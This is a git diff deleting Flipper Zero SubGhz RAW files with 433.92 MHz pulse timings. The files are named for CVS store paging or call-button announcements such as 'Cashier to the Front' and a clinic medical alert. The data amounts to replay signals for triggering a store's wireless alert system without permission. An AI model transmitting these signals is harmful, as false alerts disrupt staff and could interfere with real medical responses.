1588 -736 1548 -740 1588 -736 1552 -740 1592 -1500 788 -740 1580 -1504 784 -1504 828 -1504 784 -740 1588 -1504 780 -744 1584 -1504 784 -744 1580 -1500 788 -1500 828 -1504 784 -740 1584 -1504 784 -744 1576 -4592 788 -748 1556 -1516 792 -748 1560 -1512 832 -740 1548 -736 1588 -744 1548 -740 1584 -744 1548 -740 1584 -744 1544 -744 1588 -736 1552 -736 1588 -744 1548 -736 1588 -740 1548 -740 1588 -740 1548 -740 1588 -744 1544 -740 1592 -732 1552 -740 1588 -1504 784 -740 1584 -1500 784 -1500 832 -1504 788 -740 1584 -1504 784 -740 1584 -1504 788 -740 1576 -1504 788 -1500 828 -1504 784 -740 1588 -1504 784 -740 1580 -4592 784 -752 1556 -1520 788 -748 1556 -1516 -RAW_Data: 828 -740 1548 -740 1588 -740 1544 -740 1592 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1588 -736 1552 -740 1588 -740 1548 -740 1584 -744 1548 -736 1592 -740 1548 -740 1592 -1504 784 -740 1576 -1504 788 -1500 832 -1504 784 -740 1588 -1504 784 -740 1588 -1500 784 -744 1580 -1504 784 -1508 824 -1504 784 -740 1588 -1504 784 -740 1576 -4592 792 -744 1564 -1512 792 -744 1560 -1520 828 -740 1548 -740 1584 -744 1548 -744 1584 -740 1552 -740 1588 -736 1552 -740 1584 -740 1552 -740 1588 -744 1548 -736 1588 -744 1548 -744 1584 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -740 1588 -1508 780 -740 1584 -1508 780 -1508 824 -1504 784 -740 1588 -1504 784 -744 1588 -1504 784 -740 1584 -1504 784 -1500 828 -1504 784 -736 1592 -1504 788 -740 1576 -4592 792 -740 1564 -1512 792 -744 1564 -1516 828 -740 1548 -740 1588 -740 1544 -744 1588 -736 1552 -740 1588 -744 1548 -736 1592 -740 1548 -744 1584 -740 1548 -740 1588 -740 1548 -740 1584 -744 1548 -740 1588 -740 1548 -744 1584 -744 1544 -744 1588 -1504 784 -740 1584 -1504 784 -1504 824 -1504 784 -740 1588 -1500 788 -736 1588 -1504 784 -740 1584 -1500 784 -1504 828 -1504 784 -736 1588 -1504 784 -744 1576 -4588 788 -748 1560 -1508 796 -744 1564 -1508 832 -744 1544 -740 1584 -744 1544 -744 1580 -744 1544 -744 1588 -740 1548 -740 1584 -744 1548 -740 1584 -744 1548 -740 1588 -740 1544 -744 1588 -740 1548 -736 1588 -740 1548 -740 1584 -740 1548 -740 1588 -1504 784 -740 1580 -1500 788 -1500 832 -1500 788 -740 1584 -1504 784 -736 1588 -1504 784 -740 1584 -1496 788 -1500 828 -1508 780 -744 1580 -1508 780 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub b/assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub deleted file mode 100644 index 33f270c28..000000000 --- a/assets/resources/subghz/Stores/CVS/Cashier_to_the_Front_of_the_Store.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1556 -1516 784 -748 1552 -1520 824 -748 1536 -748 1576 -744 1544 -744 1580 -748 1536 -748 1580 -740 1544 -748 1576 -748 1540 -748 1580 -744 1544 -740 1580 -748 1540 -748 1580 -744 1540 -744 1584 -744 1540 -748 1580 -740 1544 -748 1576 -1508 780 -1512 816 -1508 780 -748 1572 -1508 776 -1512 820 -1508 776 -748 1580 -1508 780 -740 1584 -1508 776 -744 1580 -1508 780 -744 1580 -1508 780 -744 1572 -4592 788 -748 1552 -1520 784 -752 1556 -1516 824 -744 1544 -748 1576 -748 1540 -748 1580 -744 1540 -748 1580 -748 1540 -740 1588 -744 1540 -744 1580 -748 1544 -744 1584 -740 1544 -748 1576 -748 1544 -744 1580 -744 1544 -744 1584 -744 1544 -744 1580 -1508 780 -1508 824 -1504 780 -744 1580 -1504 784 -1504 824 -1504 784 -740 1584 -1508 780 -740 1584 -1508 780 -744 1584 -1504 784 -744 1580 -1508 780 -744 1576 -4592 788 -752 1552 -1516 788 -752 1556 -1520 824 -744 1544 -744 1584 -748 1540 -744 1580 -748 1544 -740 1584 -744 1544 -744 1580 -748 1540 -744 1580 -744 1544 -744 1584 -744 1540 -748 1580 -748 1540 -748 1580 -744 1544 -740 1584 -748 1540 -748 1580 -1508 776 -1508 824 -1508 780 -744 1576 -1508 780 -1508 820 -1508 780 -744 1584 -1508 780 -740 1584 -1508 780 -744 1580 -1508 780 -744 1584 -1508 776 -748 1576 -4588 788 -748 1556 -1520 784 -752 1552 -1520 824 -748 1540 -744 1584 -744 1544 -744 1584 -744 1540 -748 1584 -748 1540 -744 1584 -744 1548 -740 1584 -748 1540 -748 1580 -748 1544 -744 1584 -740 1548 -740 1584 -748 1540 -748 1584 -740 1548 -744 1580 -1508 780 -1508 824 -1508 780 -748 1576 -1508 780 -1504 828 -1508 780 -744 1584 -1508 780 -744 1580 -1512 776 -748 1580 -1508 780 -748 1584 -1508 780 -740 1576 -4592 788 -748 1556 -1520 784 -752 1556 -1520 828 -744 1544 -740 1584 -748 1544 -744 1584 -744 1544 -744 1584 -740 1548 -748 1576 -748 1544 -748 1580 -744 1544 -744 1584 -744 1544 -748 1576 -748 1544 -744 1584 -744 1544 -748 1576 -748 1540 -748 1580 -1512 776 -1512 820 -1508 780 -748 1572 -1512 776 -1512 820 -1512 776 -752 1576 -1516 776 -744 1584 -1512 776 -748 1580 -1512 776 -748 1576 -1516 776 -748 1572 -4596 784 -756 1548 -1524 780 -756 1552 -1524 820 -756 1536 -748 1576 -752 1536 -752 1572 -756 1536 -752 1576 -748 1540 -752 1576 -748 1540 -756 1572 -752 1536 -752 1576 -752 1536 -756 1572 -756 1532 -752 1576 -752 1536 -752 1576 -752 1536 -752 1576 -1512 776 -1512 816 -1512 776 -752 1568 -1516 776 -1512 816 -1516 776 -748 1580 -1516 772 -748 1576 -1516 772 -752 1576 -1512 776 -752 1576 -1512 776 -752 1568 -4596 780 -756 1548 -1528 776 -760 1548 -1524 -RAW_Data: 820 -748 1540 -748 1576 -752 1540 -748 1576 -752 1540 -748 1580 -748 1540 -748 1576 -752 1536 -756 1572 -752 1536 -752 1576 -752 1536 -748 1576 -752 1540 -748 1576 -756 1536 -748 1576 -756 1532 -756 1572 -1516 772 -1516 816 -1512 776 -752 1568 -1516 772 -1512 820 -1512 776 -752 1576 -1512 776 -748 1576 -1516 772 -752 1576 -1512 776 -752 1576 -1516 772 -748 1572 -4596 784 -756 1552 -1520 780 -760 1552 -1520 824 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1544 -744 1584 -748 1536 -752 1576 -748 1540 -744 1584 -744 1540 -748 1580 -1508 776 -1512 820 -1512 776 -752 1568 -1508 780 -1508 824 -1512 776 -748 1580 -1508 776 -748 1576 -1508 784 -744 1580 -1508 780 -748 1576 -1512 776 -752 1572 -4588 788 -752 1556 -1516 788 -752 1552 -1520 824 -748 1540 -744 1584 -744 1544 -744 1580 -748 1540 -748 1580 -748 1540 -748 1580 -748 1544 -744 1580 -744 1544 -748 1576 -748 1544 -744 1580 -744 1544 -748 1580 -748 1540 -744 1584 -744 1540 -748 1580 -1508 780 -1508 820 -1512 776 -744 1576 -1508 780 -1512 824 -1504 784 -740 1588 -1508 780 -740 1584 -1508 780 -748 1580 -1508 776 -748 1584 -1508 776 -748 1576 -4596 788 -752 1552 -1520 788 -748 1556 -1524 820 -748 1540 -748 1580 -748 1540 -748 1580 -748 1544 -740 1584 -748 1540 -748 1580 -744 1544 -744 1584 -744 1544 -748 1580 -744 1544 -748 1580 -744 1544 -744 1580 -748 1544 -744 1580 -744 1544 -748 1580 -1504 784 -1508 824 -1504 784 -740 1580 -1508 780 -1504 828 -1504 780 -748 1584 -1508 780 -740 1584 -1508 780 -744 1584 -1504 784 -740 1588 -1504 780 -744 1556 -15884 diff --git a/assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub b/assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub deleted file mode 100644 index 48d190207..000000000 --- a/assets/resources/subghz/Stores/CVS/Clinic_1_Medical_Alert_to_the.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 788 -748 1556 -1512 832 -736 1552 -740 1584 -736 1548 -740 1588 -740 1544 -740 1588 -744 1544 -736 1588 -744 1548 -740 1584 -736 1552 -740 1584 -744 1544 -740 1588 -740 1544 -740 1588 -744 1544 -740 1584 -740 1552 -736 1584 -1504 784 -1508 816 -1504 784 -1504 820 -1504 784 -1508 816 -1504 788 -1504 824 -1504 784 -740 1584 -1508 780 -740 1584 -1508 780 -744 1576 -1500 788 -1504 820 -4588 788 -748 1560 -1512 788 -748 1560 -1512 828 -740 1552 -740 1584 -740 1552 -740 1584 -740 1548 -744 1588 -736 1548 -736 1592 -744 1544 -740 1588 -740 1548 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1552 -740 1584 -740 1548 -744 1584 -1500 788 -1504 820 -1500 788 -1504 820 -1504 788 -1504 820 -1500 788 -1504 824 -1504 784 -736 1592 -1504 780 -740 1588 -1504 784 -740 1580 -1504 784 -1504 820 -4588 788 -748 1556 -1516 788 -748 1560 -1516 824 -740 1552 -740 1584 -740 1548 -744 1584 -740 1548 -736 1592 -740 1544 -740 1588 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -744 1588 -740 1544 -740 1588 -744 1544 -740 1584 -1508 784 -1500 824 -1504 784 -1500 824 -1504 784 -1504 824 -1500 784 -1504 828 -1504 784 -736 1588 -1504 784 -744 1584 -1504 784 -744 1580 -1504 784 -1504 820 -4588 788 -748 1560 -1512 792 -748 1560 -1512 832 -736 1556 -736 1588 -736 1556 -740 1584 -740 1548 -740 1588 -740 1544 -748 1584 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1584 -1500 788 -1504 820 -1504 784 -1504 820 -1504 788 -1500 824 -1504 784 -1504 828 -1508 780 -740 1588 -1504 784 -740 1588 -1508 780 -736 1584 -1508 784 -1500 820 -4592 788 -744 1560 -1516 788 -748 1556 -1516 832 -740 1548 -736 1588 -744 1548 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -744 1544 -740 1584 -740 1548 -744 1584 -740 1548 -736 1588 -744 1544 -740 1588 -736 1552 -740 1588 -740 1544 -744 1584 -1504 784 -1504 820 -1504 788 -1500 824 -1504 780 -1504 824 -1500 788 -1500 832 -1504 780 -740 1588 -1504 784 -740 1588 -1504 784 -740 1584 -1504 780 -1504 820 -4592 784 -752 1556 -1516 792 -744 1560 -1516 824 -744 1552 -736 1588 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1592 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -1508 780 -1508 820 -1504 780 -1508 824 -1504 784 -1508 820 -1504 784 -1504 828 -1504 780 -748 1584 -1504 784 -744 1584 -1500 788 -740 1580 -1504 784 -1504 824 -4588 788 -744 1564 -1512 792 -748 1560 -1516 -RAW_Data: 828 -740 1544 -744 1588 -740 1548 -740 1588 -740 1548 -736 1588 -744 1548 -740 1584 -740 1548 -744 1584 -736 1552 -736 1588 -744 1548 -740 1588 -736 1548 -744 1584 -744 1544 -740 1588 -740 1548 -740 1584 -1504 784 -1508 824 -1504 780 -1504 824 -1500 784 -1504 824 -1500 784 -1504 828 -1508 780 -744 1584 -1504 788 -736 1588 -1500 788 -740 1580 -1508 780 -1504 824 -4588 788 -748 1560 -1516 788 -744 1564 -1512 832 -736 1548 -744 1588 -744 1548 -740 1584 -740 1544 -744 1588 -740 1548 -740 1584 -744 1544 -744 1588 -740 1544 -740 1588 -740 1552 -740 1584 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -744 1584 -1508 784 -1504 824 -1504 784 -1504 824 -1504 784 -1504 824 -1504 784 -1508 828 -1504 784 -736 1588 -1504 784 -740 1588 -1504 788 -740 1580 -1504 788 -1500 824 -4588 792 -744 1560 -1516 788 -748 1564 -1512 832 -740 1548 -740 1588 -744 1544 -740 1588 -740 1548 -740 1588 -740 1552 -736 1588 -740 1552 -740 1584 -740 1548 -744 1588 -740 1548 -736 1588 -744 1548 -744 1584 -740 1548 -740 1592 -740 1548 -740 1584 -1508 784 -1504 820 -1508 780 -1504 824 -1504 784 -1504 824 -1500 784 -1504 828 -1504 784 -744 1588 -1500 784 -744 1584 -1504 784 -740 1584 -1500 788 -1504 824 -4588 788 -752 1552 -1524 788 -744 1560 -1520 828 -744 1544 -744 1584 -740 1548 -740 1588 -744 1548 -740 1584 -740 1552 -744 1584 -736 1552 -740 1588 -744 1548 -736 1588 -740 1548 -740 1584 -744 1548 -744 1584 -740 1548 -740 1592 -740 1548 -740 1584 -1504 788 -1504 824 -1500 788 -1504 820 -1508 784 -1504 824 -1500 784 -1504 828 -1504 784 -744 1584 -1504 784 -740 1588 -1508 784 -740 1580 -1504 784 -1504 804 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub b/assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub deleted file mode 100644 index 9c6a9ed24..000000000 --- a/assets/resources/subghz/Stores/CVS/Cosmetics_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 800 -748 1560 -1512 792 -744 1560 -1512 828 -740 1548 -744 1580 -740 1552 -736 1588 -740 1548 -740 1580 -744 1548 -744 1584 -744 1544 -740 1584 -740 1544 -744 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -1500 788 -740 1584 -1504 784 -740 1580 -1500 788 -1504 828 -1504 784 -740 1584 -1500 788 -1496 832 -1504 784 -736 1592 -1500 784 -744 1584 -1504 784 -740 1576 -4592 788 -752 1556 -1516 788 -744 1560 -1516 832 -740 1552 -732 1588 -740 1548 -740 1588 -740 1548 -740 1588 -736 1552 -736 1592 -732 1552 -740 1588 -740 1544 -744 1584 -740 1548 -740 1588 -740 1548 -744 1584 -736 1548 -740 1592 -736 1548 -740 1592 -1504 788 -736 1588 -1504 784 -740 1576 -1512 780 -1504 828 -1504 784 -740 1584 -1504 784 -1500 828 -1504 784 -736 1592 -1496 788 -744 1584 -1504 784 -736 1584 -4584 792 -744 1568 -1512 792 -748 1556 -1516 828 -740 1548 -740 1588 -740 1544 -748 1584 -740 1548 -740 1584 -744 1548 -740 1584 -744 1544 -740 1592 -732 1556 -736 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -744 1580 -748 1544 -740 1592 -1500 784 -744 1588 -1500 788 -736 1584 -1500 784 -1504 832 -1500 784 -744 1576 -1512 780 -1504 832 -1504 784 -744 1584 -1504 784 -744 1584 -1500 784 -748 1576 -4592 788 -744 1564 -1516 792 -744 1556 -1516 832 -740 1552 -736 1584 -748 1544 -736 1592 -744 1540 -748 1588 -736 1552 -736 1588 -744 1544 -744 1588 -736 1552 -740 1580 -748 1544 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -740 1548 -740 1588 -1504 784 -744 1584 -1508 780 -740 1580 -1504 788 -1496 832 -1500 788 -740 1580 -1504 784 -1504 828 -1500 780 -744 1592 -1496 788 -744 1584 -1504 784 -744 1576 -4592 788 -748 1560 -1512 796 -740 1560 -1516 832 -740 1552 -736 1584 -744 1552 -736 1588 -740 1544 -748 1584 -740 1548 -740 1584 -744 1548 -740 1584 -740 1548 -748 1580 -744 1548 -740 1584 -748 1544 -740 1588 -736 1552 -740 1580 -744 1552 -740 1588 -1504 784 -736 1592 -1500 788 -740 1580 -1504 788 -1496 832 -1504 784 -744 1576 -1508 784 -1500 828 -1508 780 -744 1584 -1508 784 -736 1588 -1508 784 -740 1580 -4592 788 -748 1556 -1520 792 -744 1560 -1512 832 -740 1548 -744 1584 -740 1552 -736 1584 -744 1548 -736 1592 -744 1544 -740 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -740 1584 -740 1552 -740 1580 -744 1552 -736 1588 -744 1548 -740 1588 -1504 784 -740 1588 -1504 784 -744 1580 -1504 784 -1504 832 -1500 784 -740 1584 -1504 784 -1500 832 -1500 784 -740 1592 -1504 780 -744 1584 -1508 780 -740 1580 -4588 788 -752 1556 -1516 788 -748 1556 -1516 -RAW_Data: 832 -740 1544 -744 1588 -736 1552 -740 1588 -744 1544 -744 1584 -740 1552 -736 1588 -744 1544 -740 1588 -744 1540 -744 1588 -744 1544 -740 1588 -740 1548 -744 1584 -740 1552 -736 1588 -744 1544 -740 1592 -1504 784 -740 1588 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1508 784 -740 1584 -1508 784 -736 1588 -1508 784 -740 1580 -4592 788 -748 1556 -1516 792 -748 1560 -1512 832 -740 1548 -740 1588 -740 1548 -744 1588 -740 1548 -740 1588 -736 1552 -740 1584 -744 1548 -740 1584 -744 1548 -736 1588 -748 1540 -744 1592 -740 1544 -744 1584 -744 1544 -744 1584 -740 1552 -740 1592 -1500 784 -744 1588 -1496 788 -744 1576 -1512 780 -1508 824 -1504 780 -748 1576 -1504 784 -1504 828 -1504 784 -740 1588 -1504 784 -740 1588 -1504 784 -740 1580 -4592 788 -748 1556 -1520 788 -748 1556 -1520 828 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -740 1588 -744 1544 -740 1592 -740 1544 -740 1592 -740 1548 -740 1588 -740 1548 -744 1588 -740 1544 -748 1584 -744 1544 -744 1584 -740 1548 -744 1588 -1504 788 -740 1588 -1500 788 -736 1584 -1504 784 -1504 828 -1508 784 -744 1576 -1508 784 -1496 832 -1504 784 -744 1588 -1504 780 -744 1588 -1504 784 -740 1580 -4588 792 -748 1560 -1516 788 -748 1560 -1516 828 -744 1548 -736 1592 -740 1552 -740 1584 -744 1548 -744 1584 -740 1548 -744 1584 -744 1548 -740 1588 -740 1548 -740 1588 -740 1552 -740 1584 -744 1544 -748 1584 -740 1548 -744 1584 -744 1548 -740 1592 -1500 788 -740 1588 -1504 784 -744 1584 -1500 788 -1504 828 -1508 784 -744 1576 -1508 784 -1504 828 -1504 784 -740 1588 -1508 784 -740 1584 -1508 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Cough_Cold.sub b/assets/resources/subghz/Stores/CVS/Cough_Cold.sub deleted file mode 100644 index 4c57030e2..000000000 --- a/assets/resources/subghz/Stores/CVS/Cough_Cold.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -740 1560 -1516 792 -748 1556 -1508 832 -740 1548 -740 1588 -732 1548 -744 1580 -744 1548 -736 1588 -736 1548 -736 1592 -740 1544 -740 1588 -744 1544 -740 1588 -736 1548 -740 1584 -740 1548 -740 1588 -736 1552 -732 1588 -740 1548 -744 1580 -1504 784 -1500 824 -1504 780 -1508 820 -1500 788 -1500 828 -1500 788 -736 1592 -1500 784 -740 1584 -1500 792 -736 1584 -1508 780 -744 1580 -1504 784 -740 1580 -4584 796 -744 1556 -1516 788 -748 1560 -1512 832 -736 1552 -736 1588 -740 1544 -744 1588 -736 1552 -736 1584 -740 1548 -744 1584 -744 1544 -740 1588 -736 1548 -736 1588 -740 1548 -744 1588 -740 1544 -740 1584 -740 1548 -736 1588 -744 1544 -740 1584 -1500 788 -1500 824 -1504 780 -1500 824 -1500 788 -1500 824 -1508 784 -744 1584 -1500 784 -740 1584 -1504 788 -740 1584 -1508 780 -740 1588 -1500 788 -740 1580 -4584 792 -752 1556 -1516 788 -744 1564 -1512 832 -736 1548 -748 1584 -740 1552 -732 1592 -740 1544 -744 1584 -740 1552 -740 1588 -740 1548 -740 1588 -740 1552 -732 1592 -736 1548 -744 1584 -740 1552 -736 1588 -740 1548 -744 1588 -740 1552 -736 1584 -1508 784 -1504 824 -1500 784 -1508 820 -1500 792 -1500 824 -1504 788 -740 1588 -1504 780 -744 1588 -1500 788 -736 1588 -1500 788 -744 1584 -1504 780 -744 1576 -4592 788 -744 1560 -1516 792 -744 1560 -1512 832 -744 1544 -744 1588 -736 1548 -736 1588 -740 1548 -744 1588 -740 1548 -736 1588 -736 1552 -744 1584 -740 1552 -736 1588 -736 1552 -740 1588 -740 1548 -740 1588 -736 1552 -740 1588 -744 1544 -744 1584 -1508 780 -1500 832 -1504 780 -1508 820 -1504 788 -1500 828 -1504 784 -740 1588 -1508 780 -740 1588 -1508 780 -740 1588 -1504 788 -740 1584 -1508 784 -744 1580 -4588 792 -748 1560 -1516 796 -740 1560 -1516 832 -744 1544 -744 1584 -736 1552 -740 1588 -740 1552 -740 1588 -736 1552 -740 1588 -744 1548 -740 1588 -736 1552 -740 1584 -740 1548 -740 1588 -740 1548 -740 1584 -740 1552 -740 1588 -736 1548 -744 1580 -1504 784 -1500 828 -1504 780 -1508 820 -1504 784 -1496 836 -1500 784 -740 1588 -1508 784 -740 1584 -1500 788 -736 1588 -1508 780 -740 1592 -1496 788 -740 1580 -4588 788 -748 1560 -1512 792 -748 1556 -1516 828 -740 1552 -740 1588 -740 1552 -732 1588 -740 1548 -740 1588 -744 1544 -736 1592 -740 1548 -740 1588 -736 1552 -736 1592 -736 1552 -736 1592 -740 1548 -736 1592 -740 1548 -740 1584 -744 1548 -744 1580 -1500 792 -1500 820 -1504 784 -1508 824 -1504 780 -1504 832 -1504 780 -744 1584 -1504 784 -744 1584 -1504 784 -744 1584 -1504 784 -744 1584 -1504 784 -740 1580 -4588 792 -748 1560 -1516 788 -748 1560 -1512 -RAW_Data: 832 -736 1552 -744 1588 -732 1552 -744 1588 -740 1548 -736 1588 -740 1556 -740 1584 -744 1544 -740 1584 -740 1548 -744 1584 -740 1552 -736 1588 -736 1552 -740 1584 -740 1552 -744 1584 -740 1548 -744 1584 -1500 784 -1500 828 -1500 788 -1504 820 -1504 788 -1500 824 -1504 784 -740 1588 -1508 780 -740 1588 -1500 788 -740 1584 -1504 784 -740 1588 -1500 788 -740 1584 -4588 788 -744 1560 -1516 792 -748 1556 -1516 832 -744 1544 -744 1584 -740 1548 -736 1592 -736 1552 -740 1592 -740 1548 -736 1588 -740 1552 -740 1584 -748 1544 -744 1588 -736 1544 -744 1584 -740 1556 -740 1584 -744 1544 -740 1592 -736 1552 -740 1584 -1504 784 -1504 824 -1504 780 -1504 824 -1508 780 -1508 824 -1504 784 -740 1588 -1504 784 -744 1580 -1504 788 -740 1584 -1500 788 -740 1588 -1504 784 -736 1584 -4588 792 -748 1556 -1512 796 -744 1560 -1512 836 -736 1548 -744 1584 -744 1544 -740 1588 -744 1544 -744 1584 -740 1548 -740 1592 -736 1552 -740 1588 -732 1556 -732 1592 -740 1548 -740 1588 -740 1552 -740 1584 -744 1552 -740 1584 -736 1556 -736 1588 -1504 780 -1508 820 -1504 792 -1496 828 -1500 788 -1500 832 -1504 780 -740 1592 -1504 784 -736 1592 -1500 788 -736 1592 -1500 788 -740 1588 -1500 788 -740 1580 -4584 796 -744 1560 -1516 788 -752 1556 -1516 832 -740 1548 -744 1584 -740 1552 -740 1588 -740 1552 -736 1588 -740 1548 -740 1588 -740 1548 -744 1584 -740 1552 -740 1588 -744 1544 -744 1584 -744 1548 -740 1588 -740 1548 -736 1596 -736 1548 -740 1592 -1504 784 -1500 828 -1500 788 -1500 824 -1500 788 -1508 824 -1500 792 -740 1584 -1504 784 -740 1588 -1508 784 -740 1584 -1504 788 -740 1588 -1504 788 -740 1560 -15964 diff --git a/assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub b/assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub deleted file mode 100644 index 5f0ead56c..000000000 --- a/assets/resources/subghz/Stores/CVS/Customer_Service_Scan_All_Aisles.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 796 -752 1552 -1520 780 -752 1552 -1520 824 -748 1540 -748 1576 -748 1536 -748 1580 -748 1540 -748 1576 -748 1536 -748 1580 -744 1540 -748 1580 -748 1536 -752 1576 -748 1536 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1536 -752 1580 -1504 780 -748 1572 -1512 772 -1516 812 -1508 780 -1508 824 -1508 780 -744 1580 -1512 772 -748 1580 -1508 776 -752 1576 -1508 776 -748 1576 -1512 780 -740 1576 -4592 780 -756 1548 -1520 784 -752 1556 -1520 824 -748 1536 -748 1580 -744 1544 -744 1580 -748 1540 -748 1576 -752 1536 -748 1580 -748 1540 -748 1576 -748 1544 -748 1576 -752 1540 -748 1576 -752 1540 -744 1584 -748 1540 -744 1584 -748 1540 -744 1588 -1508 780 -748 1572 -1512 776 -1508 820 -1508 780 -1508 820 -1512 776 -752 1576 -1512 776 -748 1580 -1512 776 -748 1580 -1508 780 -748 1576 -1512 780 -748 1568 -4596 780 -756 1552 -1524 780 -756 1548 -1524 824 -748 1536 -752 1576 -752 1536 -748 1580 -748 1540 -748 1576 -748 1540 -752 1572 -752 1536 -752 1576 -748 1540 -748 1576 -752 1536 -756 1572 -748 1540 -752 1572 -752 1540 -752 1576 -752 1536 -748 1580 -1512 776 -752 1568 -1512 776 -1512 812 -1512 776 -1512 820 -1508 780 -748 1576 -1512 776 -748 1580 -1512 776 -748 1580 -1512 776 -748 1580 -1512 776 -748 1572 -4596 780 -756 1552 -1520 784 -752 1552 -1524 820 -752 1540 -752 1572 -752 1536 -748 1580 -748 1540 -748 1576 -748 1540 -748 1580 -748 1540 -748 1576 -748 1540 -748 1576 -748 1540 -752 1576 -748 1540 -748 1580 -744 1544 -748 1580 -748 1540 -744 1588 -1508 776 -748 1576 -1508 780 -1512 812 -1512 776 -1512 820 -1512 776 -748 1576 -1516 772 -748 1580 -1508 776 -752 1576 -1512 776 -748 1576 -1516 772 -748 1576 -4592 780 -756 1548 -1524 780 -760 1548 -1524 824 -748 1540 -752 1576 -748 1540 -748 1576 -752 1536 -756 1572 -752 1536 -752 1572 -752 1536 -752 1576 -748 1536 -752 1576 -752 1536 -748 1576 -752 1536 -748 1576 -752 1536 -752 1572 -752 1536 -756 1572 -1512 772 -752 1568 -1516 772 -1512 812 -1512 772 -1516 816 -1512 776 -748 1576 -1512 776 -748 1576 -1516 772 -752 1572 -1516 772 -752 1576 -1512 772 -752 1568 -4592 784 -756 1544 -1528 776 -760 1548 -1524 816 -756 1532 -752 1572 -756 1536 -748 1572 -752 1540 -748 1576 -752 1536 -752 1576 -756 1532 -752 1572 -756 1532 -752 1576 -752 1532 -752 1572 -756 1536 -756 1568 -752 1536 -752 1576 -756 1532 -752 1576 -1520 768 -760 1564 -1512 772 -1516 812 -1516 772 -1516 812 -1516 772 -756 1568 -1520 768 -752 1572 -1520 768 -756 1572 -1516 768 -756 1572 -1520 768 -756 1564 -4600 772 -764 1544 -1528 776 -760 1544 -1528 -RAW_Data: 816 -752 1536 -752 1572 -752 1532 -756 1572 -756 1532 -752 1572 -756 1532 -756 1572 -756 1532 -756 1568 -752 1536 -752 1572 -752 1536 -752 1572 -756 1532 -756 1568 -756 1532 -756 1568 -756 1532 -756 1576 -1520 764 -756 1564 -1520 768 -1520 804 -1520 768 -1516 816 -1516 768 -756 1572 -1516 768 -756 1572 -1516 768 -756 1572 -1516 768 -760 1568 -1516 768 -756 1564 -4600 772 -764 1540 -1532 772 -764 1540 -1532 816 -756 1528 -760 1568 -760 1528 -756 1572 -752 1532 -756 1572 -756 1528 -756 1572 -756 1532 -760 1564 -760 1528 -756 1572 -756 1532 -756 1568 -756 1528 -760 1568 -756 1528 -760 1568 -756 1532 -756 1572 -1516 768 -756 1564 -1516 768 -1516 808 -1520 768 -1516 812 -1516 768 -756 1568 -1516 768 -760 1564 -1520 768 -756 1568 -1520 768 -756 1568 -1516 772 -756 1564 -4600 772 -764 1540 -1532 772 -764 1540 -1532 812 -756 1532 -756 1568 -756 1532 -756 1568 -756 1532 -756 1568 -756 1532 -756 1572 -752 1532 -756 1568 -760 1528 -756 1568 -756 1532 -756 1568 -756 1528 -756 1568 -760 1528 -756 1572 -756 1528 -756 1572 -1524 764 -756 1564 -1520 768 -1516 808 -1520 764 -1520 812 -1516 768 -756 1572 -1516 768 -756 1568 -1520 768 -756 1568 -1520 768 -760 1564 -1520 768 -760 1560 -4600 772 -768 1536 -1532 772 -764 1540 -1532 812 -756 1532 -756 1568 -760 1528 -756 1568 -760 1528 -760 1564 -756 1532 -756 1568 -760 1528 -760 1568 -756 1532 -756 1568 -760 1528 -756 1568 -760 1528 -756 1568 -756 1532 -756 1568 -760 1528 -760 1568 -1520 764 -760 1560 -1524 764 -1520 804 -1520 768 -1520 808 -1520 768 -760 1564 -1520 768 -756 1568 -1520 768 -760 1568 -1520 764 -760 1568 -1516 768 -760 1540 -15884 diff --git 